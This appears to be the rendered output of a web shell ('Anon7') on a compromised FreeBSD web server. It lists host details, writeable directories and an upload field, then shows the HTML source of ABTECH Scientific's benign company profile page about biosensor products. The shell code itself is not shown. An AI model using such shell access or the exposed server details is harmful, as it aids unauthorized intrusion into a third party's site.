KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/companyprofile.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
	<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
	<TITLE>Company Profile</TITLE>
	<META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.2  (Win32)">
	<META NAME="CREATED" CONTENT="20050505;8371922">
	<META NAME="CHANGED" CONTENT="20050505;8440737">
	<STYLE>
	<!--
		@page { size: 8.5in 11in }
		TD P { color: #000000; font-family: "Arial"; font-size: 8pt; font-style: normal; font-weight: medium }
		P { color: #000000; font-family: "Arial"; font-size: 8pt; font-style: normal; font-weight: medium }
.style1 {font-family: Verdana, Arial, Helvetica, sans-serif}
	-->
	</STYLE>
</HEAD>
<BODY LANG="en-US" TEXT="#000000" BGCOLOR="#ffffff" DIR="LTR">
<CENTER>
	<TABLE WIDTH=95% BORDER=0 CELLPADDING=2 CELLSPACING=0 STYLE="page-break-before: always">
		<COL WIDTH=256*>
		<TR>
			<TD WIDTH=100% BGCOLOR="#0000ff">
				<P ALIGN=RIGHT><B><FONT SIZE=4><FONT COLOR="#ffffff">Company
				Profile&nbsp;</FONT></FONT></B></P>
			</TD>
		</TR>
	</TABLE>
</CENTER>
<CENTER>
	<TABLE WIDTH=95% BORDER=0 CELLPADDING=0 CELLSPACING=0>
		<COL WIDTH=256*>
		<TR>
			<TD WIDTH=100%>
				
				<p>&nbsp;</p>
				<p><FONT SIZE=2>ABTECH
				  was founded in 1995 to serve as a research and development company
				  specializing in the development and application of chemical and biological sensor technologies for
				  the test and measurement markets:  bioanalytical laboratory, environmantl diagnostics, biotechnology process monitoring
				  and biomedical diagnostics markets. ABTECH is the originator and holder of proprietary interests in &quot;Electroactive Polymer Sensor Technology(SM)&quot;. </FONT></p>
				<p><FONT SIZE=2>At ABTECH we see our purpose and
				  our strength as our ability to work closely with our customers,
				  to understand their test and measurement needs, and to address
				  these needs with appropriate chemical sensor and biosensor technologies keeping in
				  mind the highest of quality, service and economy. Our commitment
				  to the needs of the life science and biotechnology communities, in each of the above market sectors, is
				  reflected in our motto &quot;<I>Sensing for Life</I>(SM)&quot;.</FONT><BR>
			      <BR>
			      <FONT SIZE=2>Our
				        corporate activities are divided into two business groups. <strong>The
				        Laboratory Products Group</strong> supports a direct sale business with
				        some limited marketing, distribution and sale through the catalog
				        businesses of other instrument companies. These products
				        generally reflect our combined corporate knowledge in
				        microlithography, BIOMEMS, biosmart materials, bioassay development and molecular
				        and cell biology and includes multi-element impedimetric arrays, sensor
				        devices, transducers, micro-electrodes, research instruments and
				        software that are used by academic, industrial, and government
				        researchers in developing and performing unique biosensor-based
				        enzyme, immunodiagnostic and DNA-based bioassays. <strong>The Advanced
				        Products Group</strong> is responsible for development of the Company's
				        major proprietary products. The Company's proprietary biosensor
				        technology is being developed for the point-of-concern biomedical
				        diagnostics market such as the physician's office and near
				        patient care situations. Emphasis is on: i) early cancer detection, ii) accurate  patient dosing, and iii) trauma stratification.
				        This group also works with corporate partners to develop
				        biological (enzyme, antibody, DNA) sensor products and chemical (gas, water, soil) sensor products to meet their
				        emerging market needs. An example of the activities of the latter
				        includes our BioSenSys&trade; Multi-analyte Workstation for
			        biosensor-based immunodiagnostic assays<font face="Verdana, sans-serif">. </font></FONT><font face="Verdana, sans-serif"><font size=2>Central to
				ABTECH's suite of advanced products is its proprietary biochip
				technology. Based on impedemetric detection of chemically
				amplified biochemical signals, ABTECH's biochip technology gives
				rise to a suite of enzyme biochips (enzyme biosensors),&nbsp;
				immunodiagnostic biochips (immunosensors), and DNA biochips
				(genosensors) that are well suited to the&nbsp; physician's
				office, emergency room care and the pathology lab markets</font></font><FONT SIZE=2>.</FONT>			    </p>
				<p><span class="style1"><FONT SIZE=2>Today
				  ABTECH has parallel interests in a biomedical diagnostics company that delivers
				  biosensor devices, biosensor instruments and biosensor systems to
				  the biomedical research community and the point-of-concern
				  biomedical diagnostics market</FONT></span>. <font face="Verdana, sans-serif"><font size=2>ABTECH is developing and marketing a suite of
				  instrumented tests for the physician's office, emergency room
				  care and the pathology laboratory.</font></font></P>
				<P><span class="style1"><font face="Verdana, sans-serif"><font size=2>ABTECH's mission
				is to deliver chemical and biosensor-based test and measurement
				products which are cost effective, reliable, and meet the
				sensitivity, detection limits, and convenience requirements of
				the markets which they serve</font></font></span></P>
				<P><span class="style1"><FONT SIZE=2>This site provides general
				  information about ABTECH Scientific, Inc. -- the company, its
				  products, and its people. It also provides convenient links to
				  other sites where our technology and products have been used
				  and/or commented upon. Click here for </FONT><A HREF="customserv.html"><strong><FONT SIZE=2 STYLE="font-size: 8pt">Customer
				    Service</FONT></strong></A></span></P>
				<P><FONT SIZE=2><FONT FACE="Verdana, sans-serif">ABTECH's
				worldwide business is organized into a </FONT></FONT><A HREF="labproducts.html"><B><FONT SIZE=2><FONT FACE="Verdana, sans-serif">Laboratory
				Products Group</FONT></FONT></B></A><FONT SIZE=2><FONT FACE="Verdana, sans-serif">
				and an </FONT></FONT><A HREF="advancedproducts.html"><B><FONT SIZE=2><FONT FACE="Verdana, sans-serif">Advanced
				Products Group</FONT></FONT></B></A><FONT SIZE=2><FONT FACE="Verdana, sans-serif">.
				</FONT></FONT> </P>
				<UL style="margin-bottom: 0in">
					<LI><P STYLE="margin-bottom: 0in"><FONT FACE="Verdana, sans-serif"><FONT SIZE=2><B>Bioanalytical
					Laboratory Products for research and development.</B></FONT></FONT></P>
				</UL>
				<UL><LI><P><FONT FACE="Verdana, sans-serif"><FONT SIZE=2><B>Biomedical
					Diagnostics and Biomaterials Products.</B></FONT></FONT></P>
				</UL>
				<P><FONT FACE="Verdana, sans-serif"><FONT SIZE=2>ABTECH Scientific is an emerging growth company with an
				aggressive growth strategy that is engineered with a thoroughly
				researched business plan, experienced management, and strategic
				research and development partnerships/collaborations with
				University and Corporate partners. </FONT></FONT>				</P>
				<P><FONT SIZE=2><FONT FACE="Verdana, sans-serif">ABTECH is
				managed by a </FONT></FONT><A HREF="people.html"><FONT SIZE=2><FONT FACE="Verdana, sans-serif">Board
				of Directors</FONT></FONT></A><FONT SIZE=2><FONT FACE="Verdana, sans-serif">
				that meets twice annually, a </FONT></FONT><A HREF="people.html"><FONT SIZE=2><FONT FACE="Verdana, sans-serif">Scientific
				Advisory Board</FONT></FONT></A><FONT SIZE=2><FONT FACE="Verdana, sans-serif">
				of accomplished scientists drawn form academe and industry, and a
				</FONT></FONT><A HREF="people.html"><FONT SIZE=2><FONT FACE="Verdana, sans-serif">Business
				Advisory Board</FONT></FONT></A><FONT SIZE=2><FONT FACE="Verdana, sans-serif">
				of seasoned business professionals. </FONT></FONT>				</P>		  </TD>
		</TR>
	</TABLE>
  <BR>
<FONT FACE="Verdana, Arial"><FONT SIZE=1><B>Contact:</B>
Ann M. Wilson, Manager,<BR>Applications Development, ABTECH
Scientific, Inc. <BR>
800 East Leigh Street,  Richmond,
Virginia 23219<BR>
Telephone Number: +1-804-783-7829 Fax Number:
+1-804-783-7830 </FONT></FONT>
</CENTER>
<CENTER>
	<TABLE WIDTH=90% BORDER=0 CELLPADDING=5 CELLSPACING=0>
		<COL WIDTH=256*>
		<TR>
			<TD WIDTH=100%>
				<P ALIGN=CENTER><FONT SIZE=1><FONT FACE="Verdana, Arial"><FONT COLOR="#0000ff"><A HREF="../ABT_www_2">News
				and Noteworthy</A> || <A HREF="">Company Profile</A> || <A HREF="rdcapabilities.html">R
				&amp; D Capabilities</A> || <A HREF="labproducts.html">Lab
				Products</A> || <A HREF="advancedproducts.html">Advanced Products</A>
				|| <A HREF="directory.html">Company Directory</A> || <A HREF="people.html">Personnel
				Bio's</A> || <A HREF="employop.html">Career Opportunities</A> ||
				<A HREF="pressre.html">Press Releases</A> || <A HREF="invstrel.html">Investor
				Relations</A> || <A HREF="links.html">Related Links</A> ||
				<A HREF="files.html">Download Files</A> || <A HREF="pricelist.html">Price
				Lists</A></FONT></FONT></FONT></P>
			</TD>
		</TR>
	</TABLE>
</CENTER>
<P><BR><BR>
</P>
</BODY>
</HTML>

Anon7 - 2021